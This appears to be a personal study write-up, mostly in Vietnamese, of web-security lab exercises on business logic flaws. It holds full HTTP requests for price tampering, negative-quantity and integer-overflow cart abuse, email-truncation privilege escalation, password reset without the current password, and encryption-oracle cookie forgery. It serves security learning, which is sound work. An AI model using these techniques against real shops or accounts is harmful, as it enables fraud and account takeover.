What Are Business Logic Vulnerabilities?
Mô tả:
One of the main purposes of business logic is to enforce the rules and constraints that were defined when designing the application or functionality. Broadly speaking, the business rules dictate how the application should react when a given scenario occurs. This includes preventing users from doing things that will have a negative impact on the business or that simply don't make sense.
Flaws in the logic can allow attackers to circumvent these rules. For example, they might be able to complete a transaction without going through the intended purchase workflow. In other cases, broken or non-existent validation of user-supplied data might allow users to make arbitrary changes to transaction-critical values or submit nonsensical input.
Tính đặc thù của logic bug:
Logic-based vulnerabilities can be extremely diverse and are often unique to the application and its specific functionality. Identifying them often requires a certain amount of human knowledge, such as an understanding of the business domain or what goals an attacker might have in a given context.
How Do Business Logic Vulnerabilities Arise?
Ứng dụng càng lớn và phức tạp thì càng dễ có logic bug:
Logic flaws are particularly common in overly complicated systems that even the development team themselves do not fully understand. To avoid logic flaws, developers need to understand the application as a whole.
Developers working on large code bases may not have an intimate understanding of how all areas of the application work. Someone working on one component could make flawed assumptions about how another component works and, as a result, inadvertently introduce serious logic flaws.
What is the Impact of Business Logic Vulnerabilities?
Impact của logic bug tùy thuộc vào tính năng:
Fundamentally, the impact of any logic flaw depends on what functionality it is related to. If the flaw is in the authentication mechanism, for example, this could have a serious impact on your overall security. Attackers could potentially exploit this for privilege escalation, or to bypass authentication entirely, gaining access to sensitive data and functionality. This also exposes an increased attack surface for other exploits.
Flawed logic in financial transactions can obviously lead to massive losses for the business through stolen funds, fraud, and so on.
Excessive Trust in Client-side Controls
Nếu ứng dụng assume rằng người dùng chỉ tương tác thông qua browser thì có thể dẫn đến logic bug:
A fundamentally flawed assumption is that users will only interact with the application via the provided web interface. This is especially dangerous because it leads to the further assumption that client-side validation will prevent users from supplying malicious input. However, an attacker can simply use tools such as Burp Proxy to tamper with the data after it has been sent by the browser but before it is passed into the server-side logic.
Lab: Excessive Trust in Client-side Controls
Sản phẩm “Lightweight l33t leather jacket” có ID là 1 và giá gốc là $1337
. Thử thêm vào giỏ hàng thì thấy request cho tính năng này là:
POST /cart HTTP/2
Host: 0aa0000a038089a3806021fb00880030.web-security-academy.net
Cookie: session=UJhNCNummrwf9qycefLdznkz559YGmL2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: https://0aa0000a038089a3806021fb00880030.web-security-academy.net
Referer: https://0aa0000a038089a3806021fb00880030.web-security-academy.net/product?productId=1
productId=1&redir=PRODUCT&quantity=1&price=133700
Thay đổi price
thành 1 thì vẫn thêm vào giỏ hàng thành công với giá là $1
.
Nhấn đặt hàng để hoàn thành lab.
Lab: 2FA Broken Logic
Failing to Handle Unconventional Input
Ví dụ:
Consider a funds transfer between two bank accounts. This functionality will almost certainly check whether the sender has sufficient funds before completing the transfer:
~~~php
$transferAmount = $_POST['amount'];
$currentBalance = $user->getBalance();
if ($transferAmount <= $currentBalance) {
// Complete the transfer
} else {
// Block the transfer: insufficient funds
}
~~~
But if the logic doesn't sufficiently prevent users from supplying a negative value in the amount parameter, this could be exploited by an attacker to both bypass the balance check and transfer funds in the "wrong" direction. If the attacker sent -$1000 to the victim's account, this might result in them receiving $1000 from the victim instead. The logic would always evaluate that -1000 is less than the current balance and approve the transfer.
Cách test:
When auditing an application, you should use tools such as Burp Proxy and Repeater to try submitting unconventional values. In particular, try input in ranges that legitimate users are unlikely to ever enter. This includes **exceptionally high or exceptionally low numeric inputs** and **abnormally long strings for text-based fields**. You can even try unexpected data types.
Lab: High-level Logic Vulnerability
Tài khoản hiện tại là $100
.
Request thêm vào giỏ hàng cho phép thêm vào một sản phẩm cần mua (“Lightweight l33t leather jacket” - có giá $1337
) với quantity
là số âm:
POST /cart HTTP/2
Host: 0ac600dd048e966880c2df2500a700de.web-security-academy.net
Cookie: session=BPuKjdp9uXCPKxhZ8LW6JtjJnakGpMt0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: https://0ac600dd048e966880c2df2500a700de.web-security-academy.net
Referer: https://0ac600dd048e966880c2df2500a700de.web-security-academy.net/product?productId=1
productId=1&redir=PRODUCT&quantity=-1
HTTP/2 302 Found
Location: /product?productId=1
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Thử mua hàng nhằm tăng số tài khoản hiện tại lên $1437
thì nhận thông báo lỗi như sau:
<p class=is-warning>Cart total price cannot be less than zero</p>
Có thể thấy, tổng tiền giỏ hàng không được nhỏ hơn 0. Ta có thể mua sản phẩm cần mua bằng cách mua thêm các sản phẩm khác sao cho tổng tiền giỏ hơn lớn hơn 0 nhưng nhỏ hơn $100
. Thực hiện điều này bằng cách mua 446 sản phẩm có ID là 8 với giá là $3
. Khi đó, tổng tiền giỏ hàng là $1
.
Tuy nhiên, cách làm trên sẽ không khiến ta mua được 1 sản phẩm “Lightweight l33t leather jacket” mà chỉ mua được 446 sản phẩm có ID là 8. Để mua được sản phẩm “Lightweight l33t leather jacket”, ta sẽ thay đổi số lượng của 2 loại sản phẩm này. Cụ thể, ta sẽ mua -445 sản phẩm có ID là 8 và 1 sản phẩm “Lightweight l33t leather jacket”. Khi đó, tổng tiền giỏ hàng là $2
.
Đặt đơn để hoàn thành lab.
Low-level Logic Flaw
Tài khoản hiện tại là $100
. Cần mua sản phẩm “Lightweight l33t leather jacket” với giá $1337
.
Chúng ta không thể mua sản phẩm với số lượng âm hay điều chỉnh giá.
Sử dụng Intruder.
Ý tưởng ở đây là sử dụng một số lượng thật lớn nhằm khiến cho tổng giá bị overflow. Giá trị của quantity
có thể là 99
. Sử dụng Intruder để chạy khoảng 1000 null payloads nhằm tăng giá giỏ hàng.
Tìm được giá trị dương tối đa của tổng tiền khi mua sản phầm cần mua là $21473557
, tương ứng với số lượng là 16061. Nếu mua thêm một sản phẩm, giá trị sẽ bị overflow thành -$21474778.96
.
Tiếp tục sử dụng Intruder khoảng lần cùng 24 lần sử dụng Repeater nữa để có thêm 16062 sản phẩm. Khi đó, tổng tiền sẽ là -$1221.96
. Lúc này, ta sẽ mua thêm một số sản phẩm khác để tổng tiền trở thành giá trị dương và nhỏ hơn $100
.
Cụ thể hơn, ta sẽ mua 13 sản phẩm với ID =2 và có giá $98.21
. Cuối cùng, tổng tiền giỏ hàng là $54.77
.
Nhấn đặt hàng để hoàn thành lab.
Lab: Inconsistent Handling of Exceptional Input
Trang /admin
chỉ cho phép các DontWannaCry user truy cập.
Request đăng ký user:
POST /register HTTP/2
Host: 0a000013036ae2528121b6f6006b00df.web-security-academy.net
Cookie: session=E3bYGE6Vl1wbxjwH9jjlQCUjxXiBLk7I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0a000013036ae2528121b6f6006b00df.web-security-academy.net
csrf=dDK3nqy5EqPUoEbv29vBiXF76semtRkt&username=admin&email=admin%40dontwannacry.com&password=123
Nếu email là @dontwannacry.com
thì ta sẽ không nhận được email. Thay đổi thành @exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net
thì nhận được email nhưng user này không phải là một DontWannaCry user.
Đã thử email @dontwannacry.com.exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net
do email client nhận tất cả các email của các subdomains:
Displaying all emails @exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net and all subdomains
Tuy nhiên, cách làm này không thành công.
title: Lời giải
1. Go back to the lab and register with an exceptionally long email address in the format:
`very-long-string@YOUR-EMAIL-ID.web-security-academy.net`
The `very-long-string` should be at least 200 characters long.
2. Go to the email client and notice that you have received a confirmation email. Click the link to complete the registration process.
3. Log in and go to the "My account" page. Notice that your email address has been truncated to 255 characters.
Thử với email sau:
<@random_alpha_lower(200)/>@exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net
Với <@random_alpha_lower(200)/>
là tag của Hackvertor nhằm tạo ra 200 ký tự random. Sau khi đăng ký, đăng nhập và truy cập vào /my-account
thì email được hiển thị là:
oxqbfennmrhtnwepzbsvveiodzgrketmmwnwijujmveaibtxkpzwjfydmbycgkvmbaseanezljbvwdxewlivgrbtaljomcagbwctqeklytuvefqbwvfkevxfnmsijnmpvzxuuyikcvznmjtczyouhlygifyynrgcmjfjrebyguadglgktsghvmbibewqxdbjbfpqnomd@exploit-0a2b00a203ace29681e4b57a019500f6.exploit-serve
Có thể thấy, nó đã bị cắt bớt.
Như vậy, ý tưởng là ta sẽ chèn thêm các ký tự ngẫu nhiên để domain của email chỉ còn là dontwannacry.com
.
Thử với email là:
<@random_alpha_lower(200)/>@dontwannadoncry.com.exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net
Thì email được hiển thị là:
rnplapiizjyjqyzbymwhesphpkirfjhjzcggsliaewbbaoardczbgcetkwstoiccsamhqmllzbhhqzrfplybkutqerjicezojxblludszhpjuqcdxlodqbblwvuvnylczklvgqdengmvscfchefrksmjvqaarptohwxgnnfrvqcskqkvuyxmsntqmubaaubvgpycrwmm@dontwannacry.com.exploit-0a2b00a203ace29681e4b57a01950
Ta cần thêm 38 ký tự để làm mất phần .exploit-0a2b00a203ace29681e4b57a01950
ở đằng sau:
<@random_alpha_lower(238)/>@dontwannacry.com.exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net
Đăng ký, đăng nhập và truy cập vào /admin
để xóa tài khoản carlos
nhằm hoàn thành lab.
Making Flawed Assumptions About User Behavior
Giả định về hành vi của người dùng có thể gây ra vấn đề:
One of the most common root causes of logic vulnerabilities is making flawed assumptions about user behavior. This can lead to a wide range of issues where developers have not considered potentially dangerous scenarios that violate these assumptions.
Trusted Users Won’t Always Remain Trustworthy
Việc tin cậy vào user đã vượt qua được các kiểm tra ban đầu rằng họ sẽ không làm chuyện gì xấu có thể gây ra vấn đề:
Applications may appear to be secure because they implement seemingly robust measures to enforce the business rules. Unfortunately, some applications make the mistake of assuming that, having passed these strict controls initially, the user and their data can be trusted indefinitely.
Lab: Inconsistent Security Controls
Lab này tương tự lab trước, ta cần vào /admin
để xóa user carlos
và cũng có tính năng đăng ký tài khoản. Sau khi đăng ký tài khoản với domain của email là của exploit server và đăng nhập, ở trang /my-account
có chức năng thay đổi email. Thay đổi email thành @dontwannacry.com
rồi truy cập vào /admin
.
Trong lab này, ứng dụng đã giả định rằng người dùng sẽ không thay đổi email về thành @dontwannacry.com
sau khi đăng ký.
Users Won’t Always Supply Mandatory Input
Việc giả định rằng user sẽ chắc chắn điền các trường bắt buộc cũng có thể gây ra vấn đề:
One misconception is that users will always supply values for mandatory input fields. Browsers may prevent ordinary users from submitting a form without a required input, but as we know, attackers can tamper with parameters in transit. This even extends to removing parameters entirely.
This is a particular issue in cases where multiple functions are implemented within the same server-side script. In this case, the presence or absence of a particular parameter may determine which code is executed. Removing parameter values may allow an attacker to access code paths that are supposed to be out of reach.
Cách test:
When probing for logic flaws, you should try removing each parameter in turn and observing what effect this has on the response. You should make sure to:
- Only remove one parameter at a time to ensure all relevant code paths are reached.
- Try deleting the name of the parameter as well as the value. The server will typically handle both cases differently.
- Follow multi-stage processes through to completion. Sometimes tampering with a parameter in one step will have an effect on another step further along in the workflow.
This applies to both URL and `POST` parameters, but don't forget to check the cookies too. This simple process can reveal some bizarre application behavior that may be exploitable.
Lab: Weak Isolation on Dual-use Endpoint
Ứng dụng có chức năng thay đổi password của user hiện tại thông qua request sau:
POST /my-account/change-password HTTP/2
Host: 0a9e00b80377d715807453f7006400e9.web-security-academy.net
Cookie: session=J4kp1rUli1as8eXnwOXUnUzcg5Dx6IC7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: https://0a9e00b80377d715807453f7006400e9.web-security-academy.net
Referer: https://0a9e00b80377d715807453f7006400e9.web-security-academy.net/my-account
csrf=41TZq5kEuNm9AMPkcJXtHlmNwE9R2QKy&username=wiener¤t-password=peter&new-password-1=peter&new-password-2=peter
Khi thay đổi username
thành administrator
, nhận được thông báo sau:
<p class=is-warning>Current password is incorrect</p>
Mặc dù trên giao diện bắt buộc nhập password hiện tại, ta vẫn có thể bỏ hẳn trường này để đổi mật khẩu của administrator
:
POST /my-account/change-password HTTP/2
Host: 0a9e00b80377d715807453f7006400e9.web-security-academy.net
Cookie: session=J4kp1rUli1as8eXnwOXUnUzcg5Dx6IC7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 102
Origin: https://0a9e00b80377d715807453f7006400e9.web-security-academy.net
Referer: https://0a9e00b80377d715807453f7006400e9.web-security-academy.net/my-account
csrf=41TZq5kEuNm9AMPkcJXtHlmNwE9R2QKy&username=administrator&new-password-1=peter&new-password-2=peter
Response có thông báo sau cho biết ta đã thay đổi password thành công:
<p>Password changed successfully!</p>
Đăng nhập bằng administrator
, truy cập /admin
và xóa user carlos
để hoàn thành lab.
Users Won’t Always Follow the Intended Sequence
Việc tin tưởng rằng user sẽ tuân theo hướng dẫn của web browser hay workflow đã được quy định có thể gây ra vấn đề do attacker có thể không tuân theo:
Many transactions rely on predefined workflows consisting of a sequence of steps. The web interface will typically guide users through this process, taking them to the next step of the workflow each time they complete the current one. However, attackers won't necessarily adhere to this intended sequence. Failing to account for this possibility can lead to dangerous flaws that may be relatively simple to exploit.
Ví dụ:
For example, many websites that implement two-factor authentication (2FA) require users to log in on one page before entering a verification code on a separate page. Assuming that users will always follow this process through to completion and, as a result, not verifying that they do, may allow attackers to bypass the 2FA step entirely.
Cách khai thác:
To identify these kinds of flaws, you should use forced browsing to **submit requests in an unintended sequence**. For example, you might **skip certain steps, access a single step more than once, return to earlier steps**, and so on. Take note of how different steps are accessed. Although you often just submit a `GET` or `POST` request to a specific URL, sometimes you can access steps by **submitting different sets of parameters to the same URL**. As with all logic flaws, try to identify what assumptions the developers have made and where the attack surface lies. You can then look for ways of violating these assumptions.
Lab: 2FA Simple Bypass
Lab: Insufficient Workflow Validation
Tài khoản hiện tại là $100
và món hàng cần mua là “Lightweight l33t leather jacket” với giá $1337
.
Thứ tự các request dùng để mua một món hàng:
POST /cart
với body params làproductId=1&redir=PRODUCT&quantity=1
: thêm món hàng vào giỏ hàngPOST /cart/checkout
với body params làcsrf=9Vt84xGPA3Rla0om86aCl9nfd5rEomYO
: đặt đơnGET /cart/order-confirmation?order-confirmed=true
: xác nhận đơn hàng
Thử gửi request thứ 3 thì nhận được response sau:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: session=hjH4cTGxkT169WEg2uhACSMv2h2RoxtF; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 26
"You have not checked out"
Như vậy, ta cần thực hiện checkout trước khi xác nhận đơn hàng. Liệu ta có thể đặt thêm hàng sau khi checkout một món bất kỳ nào đó?
Ý tưởng như sau:
- Thêm vào giỏ hàng một món bất kỳ với giá nhỏ hơn
$100
. - Checkout để thanh toán và trừ tiền.
- Tiếp tục thêm vào giỏ hàng món hàng cần mua.
- Gửi request thứ 3 để xác nhận đơn hàng.
Sau khi làm các bước trên, response của bước 4 xác nhận rằng ta đã mua 2 sản phẩm:
<table>
<tbody>
<tr>
<th>Name</th>
<th>Price</th>
<th>Quantity</th>
<th></th>
</tr>
<tr>
<td><a href="/product?productId=1">Lightweight "l33t" Leather Jacket</a></td>
<td>$1337.00</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td><a href="/product?productId=4">Hitch A Lift</a></td>
<td>$3.00</td>
<td>1</td>
<td></td>
</tr>
</tbody>
</table>
<table>
<tbody>
<tr>
<th>Total:</th>
<th>$1340.00</th>
</tr>
</tbody>
</table>
Điều này cho thấy rằng ta đã mua món hàng cần mua mà không cần checkout.
Lab: Authentication Bypass via Flawed State Machine
Luồng đăng nhập:
GET /login
: lấysession
cookie 1 và CSRF tokenPOST /login
: lấysession
cookie 2 và chuyển hướng đến/role-selector
GET /role-selector
: lấy CSRF token tương ứng với form chọn rolePOST /role-selector
: lấysession
cookie 3 và chuyển hướng đến/my-account
Request thứ 4 có dạng như sau:
POST /role-selector HTTP/2
Host: 0a9a00560403c53d81ba215a007400a7.web-security-academy.net
Cookie: session=4sUO838MWeu120ZX6zgmS57Nx2eYXVkB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: https://0a9a00560403c53d81ba215a007400a7.web-security-academy.net
Referer: https://0a9a00560403c53d81ba215a007400a7.web-security-academy.net/role-selector
role=user&csrf=tkua85s9Lg7UMONFXc9lLfI4BhKkedQp
Đã thử thay đổi role=user
thành role=administrator
hay role=admin
nhưng không thành công.
Nghĩ đến việc bỏ qua bước chọn role: sau khi đăng nhập, sử dụng session
cookie 2 để truy cập thẳng vào /admin
và thành công. Tiếp tục dùng cookie này để xóa user carlos
nhằm hoàn thành lab.
Domain-specific Flaws
Ví dụ về bug liên quan đến lĩnh vực cụ thể:
The discounting functionality of online shops is a classic attack surface when hunting for logic flaws. This can be a potential gold mine for an attacker, with all kinds of basic logic flaws occurring in the way discounts are applied.
For example, consider an online shop that offers a 10% discount on orders over $1000. This could be vulnerable to abuse if the business logic fails to check whether the order was changed after the discount is applied. In this case, an attacker could simply add items to their cart until they hit the $1000 threshold, then remove the items they don't want before placing the order. They would then receive the discount on their order even though it no longer satisfies the intended criteria.
Cách khai thác trong trường hợp domain là online shop:
You should pay particular attention to any situation where prices or other sensitive values are adjusted based on criteria determined by user actions. Try to understand what algorithms the application uses to make these adjustments and at what point these adjustments are made. This often involves manipulating the application so that it is in a state where the applied adjustments do not correspond to the original criteria intended by the developers.
Giải thích đoạn trên: Lỗ hổng điều chỉnh giá
Lab: Flawed Enforcement of Business Rules
Tài khoản hiện tại có $100
và ta cần mua sản phẩm “Lightweight l33t leather jacket” với giá $1337
.
Ở đầu ứng dụng có coupon NEWCUST5
giúp giảm $5
.
Áp dụng coupon thông qua request sau:
POST /cart/coupon HTTP/2
Host: 0a3500dc0478461380663bb2007000dd.web-security-academy.net
Cookie: session=jcF4YsAeeIf1psSvSJhnRStrGNiupdi0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: https://0a3500dc0478461380663bb2007000dd.web-security-academy.net
Referer: https://0a3500dc0478461380663bb2007000dd.web-security-academy.net/cart
csrf=nqqoQrMCx9FMa6DwSBR5ivMAtxWXP4wi&coupon=NEWCUST5
Tuy nhiên, ta không thể tái sử dụng coupon này:
HTTP/2 302 Found
Location: /cart?couponError=COUPON_ALREADY_APPLIED&coupon=NEWCUST5
X-Frame-Options: SAMEORIGIN
Content-Length: 22
Coupon already applied
Khi kéo xuống cuối ứng dụng thì thấy có form giúp đăng ký nhận tin:
Nhập vào email bất kỳ và nhận được coupon SIGNUP30
.
Sử dụng coupon này thì vẫn dùng được coupon NEWCUST5
. Nhận thấy rằng ta có thể tái sử dụng 2 loại coupon này nếu ta apply chúng theo thứ tự xen kẽ.
Tái sử dụng các coupon cho đến khi giá của giỏ hàng giảm còn 0. Đặt đơn để hoàn thành lab.
Lab: Infinite Money Logic Flaw
Tài khoản hiện tại có $100
và ta cần mua sản phẩm “Lightweight l33t leather jacket” với giá $1337
.
Tìm thấy form nhập Gift Card như sau:
Khi ở trang chủ, tìm thấy một sản phẩm có tên là Gift Card:
Ngoài ra, ứng dụng cũng cho phép ta nhận mã SIGNUP30
khi đăng ký nhận tin ở form cuối trang:
Tuy nhiên, không có email nào gửi về Email Client.
Thay đổi hướng tiếp cận: sử dụng coupon rồi mua Gift Card và nhập Gift Card. Cụ thể hơn, Gift Card có giá là $10
. Khi áp dụng coupon SIGNUP30
giúp giảm 30%, giá của nó sẽ là $7
. Khi nhập Gift Card, nó sẽ cho ta lại $10
. Như vậy, ta sẽ lời $3
cho mỗi lần thực hiện.
Nói cách khác, ta có thể “farm” tiền bằng cách spam liên tục chuỗi hành động trên.
Chú ý rằng ta có thể mua nhiều Gift Card rồi nhập một lần nhiều cái.
Request dùng để nhập coupon:
POST /gift-card HTTP/2
Host: 0aa90070038c344680f0e93a00a900db.web-security-academy.net
Cookie: session=TG2f21AY62iKbv172oqJpLl111tB46bz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: https://0aa90070038c344680f0e93a00a900db.web-security-academy.net
Referer: https://0aa90070038c344680f0e93a00a900db.web-security-academy.net/my-account?id=wiener
csrf=vmUZ2Dci4KkicoYtVhYrUgPN5ex45ZnE&gift-card=XWP5p2e0UL
Ta sẽ dùng HTML Content Extractor để lấy danh sách các coupon trong response của /cart/order-confirmation?order-confirmed=true
rồi dùng Intruder cho request trên để nhập nhiều Gift Card.
CSRF token ở trang /my-account
có giá trị không đổi nên ta không cần phải thay mới.
Dùng Macro sẽ nhanh hơn. Chuỗi các request:
1. `POST /cart`: thêm sản phẩm vào giỏ hàng (số lượng = 1)
2. `GET /cart`: lấy CSRF token
3. `POST /cart/coupon`: áp dụng coupon
4. `POST /checkout`: thanh toán
5. `GET /cart/order-confirmation?order-confirmed=true`: lấy mã Gift Card
6. `POST /gift-card`: áp dụng Gift Card
Cấu hình Macro trên kết hợp với Intruder cho request `/my-account`:
- Sử dụng 430 Null Payloads
- Resource Pool là 1 concurrent request
Sau khi có đủ tiền thì đặt hàng để hoàn thành lab.
Providing an Encryption Oracle
Việc để lộ cipher cho người dùng có thể gây nguy hiểm nếu như có một chức năng quan trọng nào đó cũng sử dụng giá trị ciphertext với cùng thuật toán và khóa bất đối xứng:
Dangerous scenarios can occur when user-controllable input is encrypted and the resulting ciphertext is then made available to the user in some way. This kind of input is sometimes known as an "encryption oracle".
This becomes dangerous when there are other user-controllable inputs in the application that expect data encrypted with the same algorithm. In this case, an attacker could potentially use the encryption oracle to generate valid, encrypted input and then pass it into other sensitive functions.
Nếu có chức năng nào đó cho phép giải mã giá trị thì attacker có thể lạm dụng nó để hiểu thêm về cấu trúc của dữ liệu đã bị mã hóa nhằm tạo ra payload thích hợp:
This issue can be compounded if there is another user-controllable input on the site that provides the reverse function. This would enable the attacker to decrypt other data to identify the expected structure. This saves them some of the work involved in creating their malicious data but is not necessarily required to craft a successful exploit.
Lab: Authentication Bypass via Encryption Oracle
Request login có dạng như sau:
POST /login HTTP/2
Host: 0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net
Cookie: session=FH7jbt0udshBCbcjqZEtNeqcY1ZxvQYR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: https://0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net
Referer: https://0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net/login
csrf=rrKebkoZZp83OCU7jQglaQMwrF8vZO0s&username=wiener&password=peter&stay-logged-in=on
Response của nó có 2 cookies:
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: stay-logged-in=DeIPdXaxmERAHzMtmubD1hyCIY%2fuG52SP3CVKqmpuYI%3d; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=MHoaVbuD5pKYirjFQG74NHUvYPHiiH1Q; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Với stay-logged-in
được mã hóa và encoded dưới dạng base64.
Request đăng một bình luận:
POST /post/comment HTTP/2
Host: 0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net
Cookie: session=TIwO0Dud5JLHiKF3Q5XzDByngZKRe7u2; stay-logged-in=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Origin: https://0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net
Referer: https://0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net/post?postId=10
csrf=7kqBodCXTjkSl9oSboSjQDtZsHFpGMCp&postId=10&comment=a&name=a&email=a&website=
Có thể thấy, trường email
có giá trị không đúng định dạng.
Khi đó, response có một notification
cookie như sau:
HTTP/2 302 Found
Location: /post?postId=10
Set-Cookie: notification=GeMm7PsIOTLEO4my/fOcRNo/CCk31XYtz9+sN2+O2Bk=; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Giá trị này có thể đã bị mã hóa.
Khi gửi request có notification
cookie đến /post?postId={postId}
thì nó sẽ được decrypt ra như sau:
<header class="notification-header">
Invalid email address: a
</header>
Thử sử dụng giá trị của stay-logged-in
cookie ở trong giá trị của notification
thì ta thấy rằng response có thông tin sau:
<header class="notification-header">
wiener:1745287960334
</header>
Như vậy, stay-logged-in
cookie là giá trị của username
và timestamp. Mục tiêu bây giờ của chúng ta là tìm cách để tạo ra giá trị ciphertext của administrator:<timestamp>
và dùng nó làm stay-logged-in
cookie. Khi có stay-logged-in
cookie, ta có thể bypass việc xác thực.
Thử gửi request comment với email
là administrator:1745287960334
thì notification
nhận được có giá trị là:
GeMm7PsIOTLEO4my/fOcRLnopJ6qVGBY9IY7jxhuFeUA5uiFkuu0hoEutKkN/mtY9xG7QI66XvUdm3eAdcHSkw==
Giá trị decrypt của nó là:
<header class="notification-header">
Invalid email address: administrator:1745287960334
</header>
Như vậy, giá trị plaintext của chúng ta được thêm vào đằng trước chuỗi Invalid email address:
có độ dài 23 bytes. Thử tạo ra ciphertext của administrator:1745287960334
bằng cách URL-decode, Base64 decode và xóa 23 byte đầu, sau đó encode lại và decrypt. Tuy nhiên, response có thông báo lỗi như sau:
<p class=is-warning>Input length must be multiple of 16 when decrypting with padded cipher</p>
Ta cần làm cho ciphertext của chúng ta là bội số của 16. Để làm được điều này, ta cần đệm thêm phía trước payload administrator:1745287960334
một vài byte (9 bytes) để khi kết hợp với độ dài của Invalid email address
thì được tổng cộng 32 bytes. Khi xóa 32 bytes đầu đi (bằng Decoder của Burp), ta được ciphertext của administrator:1745287960334
ở dạng bội số của 16.
Payload sử dụng:
xxxxxxxxxadministrator:1745287960334
Ciphertext nhận được:
GeMm7PsIOTLEO4my/fOcRCRMHZs3jyG+R6sjWTiejY4f++u6CY4N93+zK28ETqSLQPINae3tf0hD6jIA9AOucQ==
Base64-decode và xóa 32 bytes đầu. Sau đó, Base64-encode và URL-encode lại:
H/vrugmODfd/sytvBE6ki0DyDWnt7X9IQ%2boyAPQDrnE%3d
Giá trị decrypt là administrator:1745287960334
đúng như ta mong muốn.
Sử dụng giá trị này làm stay-logged-in
cookie nhằm bypass authentication (cần phải xóa session
cookie) và truy cập vào /admin
để xóa user carlos
nhằm hoàn thành lab.